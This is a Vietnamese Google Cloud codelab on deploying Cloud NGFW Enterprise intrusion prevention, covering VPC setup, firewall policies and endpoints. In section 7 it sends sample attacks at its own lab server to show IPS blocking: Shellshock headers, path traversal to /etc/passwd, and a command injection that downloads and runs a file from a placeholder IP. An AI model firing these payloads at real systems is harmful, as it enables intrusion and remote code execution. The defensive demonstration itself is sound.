Cloud NGFW Enterprise – Dịch vụ ngăn chặn xâm nhập (không có kiểm tra TLS)

1. Giới thiệu

Bức tường lửa thế hệ mới trên đám mây (NGFW)

Tường lửa thế hệ mới của Google Cloud là một dịch vụ tường lửa được phân phối hoàn toàn, có các tính năng bảo vệ nâng cao, phân đoạn vi mô và phạm vi bảo vệ rộng rãi để bảo vệ các khối lượng công việc trên Google Cloud khỏi các cuộc tấn công nội bộ và bên ngoài.

NGFW trên đám mây có các lợi ích sau:

  • Dịch vụ tường lửa phân tán: NGFW trên đám mây cung cấp tính năng thực thi dựa trên máy chủ, có trạng thái và được phân tán hoàn toàn trên mỗi khối lượng công việc để hỗ trợ kiến trúc bảo mật không tin cậy.
  • Đơn giản hoá việc định cấu hình và triển khai: Cloud NGFW triển khai các chính sách tường lửa phân cấp và mạng có thể được đính kèm vào nút hệ thống phân cấp tài nguyên. Các chính sách này mang lại trải nghiệm tường lửa nhất quán trên hệ thống phân cấp tài nguyên của Google Cloud.
  • Kiểm soát chi tiết và phân đoạn vi mô: Việc kết hợp các chính sách tường lửa và Thẻ do Quản lý danh tính và quyền truy cập (IAM) quản lý giúp kiểm soát chặt chẽ cả lưu lượng truy cập bắc-nam và đông-tây, cho đến từng máy ảo trên các mạng và tổ chức trong đám mây riêng ảo (VPC).

Cloud NGFW có các cấp sau:

Cloud NGFW Enterprise

Cloud NGFW Enterprise bổ sung Dịch vụ ngăn chặn xâm nhập (IPS), một chức năng Lớp 7, vào cấu trúc Tường lửa Google Cloud được phân phối. Tính năng kiểm tra TLS được hỗ trợ để cho phép kiểm tra lưu lượng truy cập được mã hoá TLS, nhưng tính năng này nằm ngoài phạm vi của lớp học lập trình này (xem Lớp học lập trình về giải pháp NGFW trên đám mây dành cho doanh nghiệp có tính năng kiểm tra TLS).

Giờ đây, bạn có thể triển khai các quy trình kiểm tra Tường lửa thế hệ mới (NGFW) Lớp 7 đáng tin cậy bằng các chế độ kiểm soát chi tiết mà không cần thay đổi cấu trúc mạng hoặc cấu hình định tuyến.

Để kích hoạt và triển khai tính năng kiểm soát tường lửa Lớp 7 bằng IPS, bạn cần thực hiện các thao tác sau:

  • Tạo một tập hợp các điểm cuối của tường lửa theo vùng do Google Cloud quản lý.
  • Tạo Chính sách kiểm tra TLS (không được đề cập trong lớp học lập trình này) (không bắt buộc)
  • Tạo Cấu hình tin cậy (không được đề cập trong lớp học lập trình này) (không bắt buộc)
  • Liên kết các điểm cuối này với mạng Đám mây riêng tư ảo (VPC) mà bạn cần dịch vụ Cloud NGFW Enterprise.
  • Thực hiện các thay đổi đơn giản đối với chính sách và quy tắc tường lửa hiện có để chỉ định hồ sơ ngăn chặn mối đe doạ cho nhiều đường dẫn lưu lượng truy cập.

Chính sách về tường lửa mạng

Chính sách tường lửa mạng đóng vai trò là vùng chứa cho các quy tắc tường lửa. Các quy tắc được xác định trong chính sách tường lửa mạng sẽ không được thực thi ở bất kỳ đâu cho đến khi chính sách được liên kết với một mạng VPC. Mỗi mạng VPC có thể liên kết với một chính sách tường lửa mạng. Chính sách tường lửa mạng hỗ trợ Thẻ do IAM quản lý (hoặc chỉ là Thẻ) trong các quy tắc tường lửa. Các thẻ này sẽ thay thế thẻ mạng hiện tại và có thể được dùng để cung cấp danh tính cho khối lượng công việc.

Việc chia sẻ chính sách tường lửa mạng trên các mạng và tích hợp với Thẻ do IAM quản lý giúp đơn giản hoá đáng kể việc định cấu hình và quản lý tường lửa.

Với việc ra mắt chính sách tường lửa mạng, chính sách tường lửa của Google Cloud hiện bao gồm các thành phần sau:

  1. Chính sách tường lửa phân cấp
  2. Quy tắc tường lửa VPC
  3. Chính sách tường lửa mạng ( Toàn cầuKhu vực)

Chính sách tường lửa có phân cấp được hỗ trợ ở các nút tổ chức và thư mục trong hệ thống phân cấp tài nguyên, trong khi quy tắc tường lửa VPC và chính sách tường lửa mạng được áp dụng ở cấp VPC. Một điểm khác biệt lớn giữa quy tắc tường lửa VPC và chính sách tường lửa mạng là quy tắc tường lửa VPC chỉ có thể áp dụng cho một mạng VPC, trong khi chính sách tường lửa mạng có thể được đính kèm vào một VPC hoặc nhóm VPC, cùng với các lợi ích khác như cập nhật hàng loạt.

Cuối cùng, chúng ta cũng có các quy tắc tường lửa ngầm ẩn đi kèm với mọi mạng VPC:

  • Quy tắc thoát có hành động là cho phép, đích đến là 0.0.0.0/0
  • Quy tắc truy cập có hành động là từ chối, nguồn là 0.0.0.0/0

Theo mặc định, trình tự thực thi được hiển thị trong sơ đồ sau:

21b3bcabc469ffe.png

Xin lưu ý rằng bạn có thể hoán đổi thứ tự thực thi giữa các quy tắc tường lửa VPC và chính sách tường lửa mạng toàn cầu. Khách hàng có thể chỉ định thứ tự thực thi bất cứ lúc nào bằng lệnh gcloud.

Thẻ do IAM quản lý

Thẻ được tích hợp trong các quy tắc chính sách tường lửa mạng mới là các tài nguyên cặp khoá-giá trị được xác định ở cấp tổ chức hoặc cấp dự án của hệ phân cấp tài nguyên Google Cloud. Thẻ như vậy chứa một chế độ kiểm soát quyền truy cập IAM, như tên gọi cho thấy, chỉ định những người có thể làm gì trên thẻ. Ví dụ: quyền IAM cho phép người dùng chỉ định những chủ thể nào có thể chỉ định giá trị cho thẻ và những chủ thể nào có thể đính kèm thẻ vào tài nguyên. Sau khi áp dụng Thẻ cho một tài nguyên, các quy tắc tường lửa mạng có thể sử dụng thẻ đó để cho phép và từ chối lưu lượng truy cập.

Thẻ tuân thủ mô hình tài nguyên kế thừa của Google Cloud, nghĩa là thẻ và giá trị của thẻ được truyền xuống theo hệ phân cấp từ thẻ mẹ. Do đó, bạn có thể tạo thẻ ở một nơi rồi các thư mục và dự án khác sẽ sử dụng thẻ đó trong hệ phân cấp tài nguyên. Truy cập trang này để biết thông tin chi tiết về thẻ và quy định hạn chế truy cập.

Đừng nhầm lẫn thẻ với thẻ mạng. Mã nhận dạng này là các chuỗi có thể được thêm vào các phiên bản Compute Engine; các chuỗi này được liên kết với phiên bản và biến mất khi phiên bản ngừng hoạt động. Quy tắc tường lửa VPC có thể bao gồm thẻ mạng, nhưng vì không được coi là tài nguyên trên đám mây nên các thẻ này không phải tuân theo chế độ kiểm soát quyền truy cập IAM.

Xin lưu ý rằng Thẻ và Thẻ do IAM quản lý được sử dụng thay thế cho nhau trong tài liệu này.

Sản phẩm bạn sẽ tạo ra

Lớp học lập trình này yêu cầu một dự án duy nhất và khả năng tạo mạng VPC có kết nối công khai. Lớp học này sẽ minh hoạ cách Cloud NGFW Enterprise có thể cung cấp chức năng IPS bằng cách:

  • Kiểm tra luồng nội bộ VPC/mạng con [Đông-Tây]
  • Kiểm tra luồng truy cập từ Internet [Bắc-Nam]

Các luồng cần kiểm tra sẽ được chọn bằng cách sử dụng các tham số so khớp của Tường lửa trên đám mây, bao gồm 5 bộ dữ liệu (địa chỉ IP nguồn, địa chỉ IP đích, giao thức, cổng nguồn, cổng đích) và Thẻ. Kiểm tra TLS không có trong lớp học lập trình này.

52a0642ef8668ecf.png

Cơ sở quy tắc của chính sách tường lửa mạng sẽ tương tự như bảng dưới đây:

Mức độ ưu tiên

Hướng

Target

Nguồn

Đích đến

Hành động

Loại

100

Lưu lượng ra

Quarantine_Tag

Bất kỳ

Bất kỳ

Từ chối

Essentials

1000

Lưu lượng vào

Server_Tag

Phạm vi kiểm tra tình trạng

Bất kỳ

Cho phép

Essentials

2000

Lưu lượng vào

Bất kỳ

Phạm vi của Proxy nhận dạng

Bất kỳ

Cho phép

Essentials

3000

Lưu lượng vào

Bất kỳ

Địa lý, GCTI

Bất kỳ

Từ chối

Chuẩn

4000

Lưu lượng ra

Bất kỳ

Bất kỳ

Địa lý, GCTI

Từ chối

Chuẩn

5000

Lưu lượng ra

Bất kỳ

Bất kỳ

FQDN của bản cập nhật hệ thống

Cho phép

Chuẩn

6000

Lưu lượng vào

Server_Tag

10.0.0.0/24

Bất kỳ

IPS

Doanh nghiệp

7000

Lưu lượng vào

Server_Tag

CloudNAT_IP

Bất kỳ

IPS

Doanh nghiệp

Kiến thức bạn sẽ học được

Bạn cần có

  • Dự án Google Cloud
  • Kiến thức về việc triển khai các thực thể và định cấu hình các thành phần kết nối mạng
  • Kiến thức về cấu hình tường lửa VPC

2. Trước khi bắt đầu

Tạo/cập nhật biến

Lớp học lập trình này sử dụng $variables để hỗ trợ triển khai cấu hình gcloud trong Cloud Shell.

Trong Cloud Shell, hãy chạy các lệnh bên dưới, thay thế thông tin trong dấu ngoặc đơn nếu cần (bỏ qua việc thiết lập dự án nếu bạn đã thiết lập dự án mong muốn). Một biến khác được dùng cho các tài nguyên cấp tổ chức nếu cần nhiều điểm cuối tường lửa, chẳng hạn như.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Bật API

Bật các API nếu bạn chưa bật:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Tạo hồ sơ bảo mật doanh nghiệp và điểm cuối cho NGFW trên đám mây

Vì việc tạo Điểm cuối doanh nghiệp của Cloud NGFW mất khoảng 20 phút, nên điểm cuối này sẽ được tạo trước và bạn có thể thiết lập cơ sở song song trong khi điểm cuối đang được tạo.

Tạo Hồ sơ bảo mật và Nhóm hồ sơ bảo mật:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Kết quả đầu ra dự kiến:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Xác nhận rằng bạn đã tạo thành công các tài nguyên:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Kết quả đầu ra dự kiến:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Tạo điểm cuối Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Chạy lệnh bên dưới để xác nhận rằng điểm cuối đang được tạo (TÌNH TRẠNG: CREATING (ĐANG TẠO)).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Kết quả dự kiến (lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Bạn có thể chạy lệnh bên dưới để biết thêm thông tin chi tiết:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

Quá trình tạo điểm cuối sẽ mất khoảng 20 phút. Tiếp tục chuyển đến phần Thiết lập cơ sở để tạo song song các tài nguyên cần thiết.

5. Thiết lập cơ sở

Hãy chuyển sang các phần sau nếu bạn muốn tạo tài nguyên cơ sở theo cách thủ công.

Mạng VPC và mạng con

Mạng và mạng con VPC

Tạo mạng VPC và mạng con:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Tạo bộ định tuyến trên đám mây và cổng Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Phiên bản

Tạo các thực thể máy khách và máy chủ web:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Thẻ ở cấp dự án

Chỉ định quyền tagAdmin và/hoặc tagUser cho người dùng nếu cần:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Tạo khoá và giá trị Thẻ ở cấp dự án:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Liên kết thẻ với các thực thể:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Chính sách về tường lửa mạng trên toàn cầu

Tạo chính sách tường lửa mạng toàn cục:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Tạo các quy tắc Cloud Firewall Essential để từ chối lưu lượng truy cập từ các thực thể bị cách ly (chỉ được tạo làm ví dụ, không được sử dụng trong lớp học lập trình này) và cho phép lưu lượng truy cập từ các dải kiểm tra tình trạngproxy nhận dạng:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Tạo các quy tắc Tiêu chuẩn của Tường lửa trên đám mây để từ chối lưu lượng truy cập vào và ra từ/đến các quốc gia bị cấm vận, các IP độc hại đã biết và các nút thoát ToR; đồng thời chỉ cho phép lưu lượng truy cập ra đến các FQDN cụ thể để cập nhật hệ thống (chỉ được tạo làm ví dụ, không được sử dụng trong lớp học lập trình này):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Tạo quy tắc Tường lửa trên đám mây để cho phép lưu lượng truy cập từ đông sang tây / trong mạng con và từ bắc sang nam / Internet từ các dải ô cụ thể (các quy tắc này sẽ được cập nhật để bật Cloud NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Liên kết chính sách tường lửa mạng với mạng VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Trình cân bằng tải mạng TCP/UDP bên ngoài

Đặt trước địa chỉ IP bên ngoài rồi tạo nhóm thực thể và tính năng kiểm tra tình trạng:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Tạo dịch vụ phụ trợ và quy tắc chuyển tiếp:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Liên kết thiết bị đầu cuối doanh nghiệp với NGFW trên đám mây

Xác định lại các biến môi trường nếu cần.

Xác nhận rằng bạn đã hoàn tất việc tạo Điểm cuối của tường lửa trên đám mây. Chỉ tiếp tục khi trạng thái hiển thị là ACTIVE (ĐANG HOẠT ĐỘNG) (trong quá trình tạo, trạng thái dự kiến là CREATING (ĐANG TẠO)):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Kết quả dự kiến (lưu ý rằng định dạng đầu ra có thể thay đổi tuỳ theo ứng dụng đang được sử dụng):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Bạn có thể chạy lệnh bên dưới để biết thêm thông tin chi tiết:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Liên kết điểm cuối Cloud NGFW Enterprise với mạng VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

Quá trình liên kết sẽ mất khoảng 10 phút. Chỉ tiếp tục khi trạng thái hiển thị là ACTIVE (ĐANG HOẠT ĐỘNG) (trạng thái dự kiến là CREATING (ĐANG TẠO) trong quá trình tạo):

gcloud network-security firewall-endpoint-associations list

Kết quả đầu ra dự kiến:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Bạn có thể chạy lệnh bên dưới để biết thêm thông tin chi tiết:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Kết quả đầu ra dự kiến:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Quy tắc kiểm tra doanh nghiệp của NGFW trên đám mây

Mở một thẻ mới và bắt đầu kết nối SSH với máy ảo ứng dụng khách thông qua IAP (bạn sẽ cần xác định lại các biến trong thẻ mới):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Xác định các biến bắt buộc trong phiên SSH và đặt các biến đó (đảm bảo rằng các giá trị là chính xác):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

curl cả hai địa chỉ IP để xác nhận rằng bạn có thể truy cập vào các địa chỉ đó:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Kết quả dự kiến cho cả hai yêu cầu curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Gửi các cuộc tấn công mẫu đến IP máy chủ nội bộ (lưu lượng truy cập Đông-Tây / trong VPC). Máy chủ web phải phản hồi tất cả các yêu cầu, xác nhận rằng không có biện pháp kiểm tra/ngăn chặn L7 nào được áp dụng:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Gửi lại các cuộc tấn công mẫu đến IP máy chủ bên ngoài thông qua Cloud NAT (lưu lượng truy cập đến từ Bắc đến Nam) và tương tự, máy chủ web sẽ phản hồi tất cả các yêu cầu:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Kết quả dự kiến cho cả IP công khai và IP riêng tư:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Chuyển về Cloud Shell và cập nhật các quy tắc truy cập hiện có để bật tính năng kiểm tra L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Bạn có thể mô tả các quy tắc tường lửa để xác minh rằng cả hai quy tắc đều được cập nhật thành công:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Kết quả đầu ra dự kiến:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Quy tắc 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Kết quả đầu ra dự kiến:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Chuyển về máy ảo ứng dụng và gửi lại các cuộc tấn công mẫu đến IP máy chủ nội bộ (kiểm tra Đông-Tây / trong VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Gửi lại các cuộc tấn công mẫu đến IP máy chủ bên ngoài thông qua Cloud NAT (kiểm tra đầu vào Bắc-Nam):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Không có phản hồi nào được nhận được cho các cuộc tấn công đầu tiên theo kết quả dự kiến bên dưới, xác nhận rằng các cuộc tấn công có mức độ nghiêm trọng cao hiện đang bị chặn.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Chuyển đến phần Bảo mật mạng > Các mối đe doạ trên Cloud Console để xác minh nhật ký (bạn có thể cần làm mới vài lần nếu các cuộc tấn công chưa xuất hiện).

daa535fcc34873aa.png

Chọn một trong các cuộc tấn công rồi nhấp vào "Xem nhật ký kiểm tra" ở bên phải (mở trong một thẻ mới để dễ dàng chuyển về). Mở rộng cuộc tấn công để xem thông tin chi tiết:

5f97cdef79e42eff.png

Bạn có thể thay thế bộ lọc Trình khám phá nhật ký bằng truy vấn bên dưới:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Bạn sẽ thấy các mục trong nhật ký mối đe doạ như sau:

5ea9581a7eb694c5.png

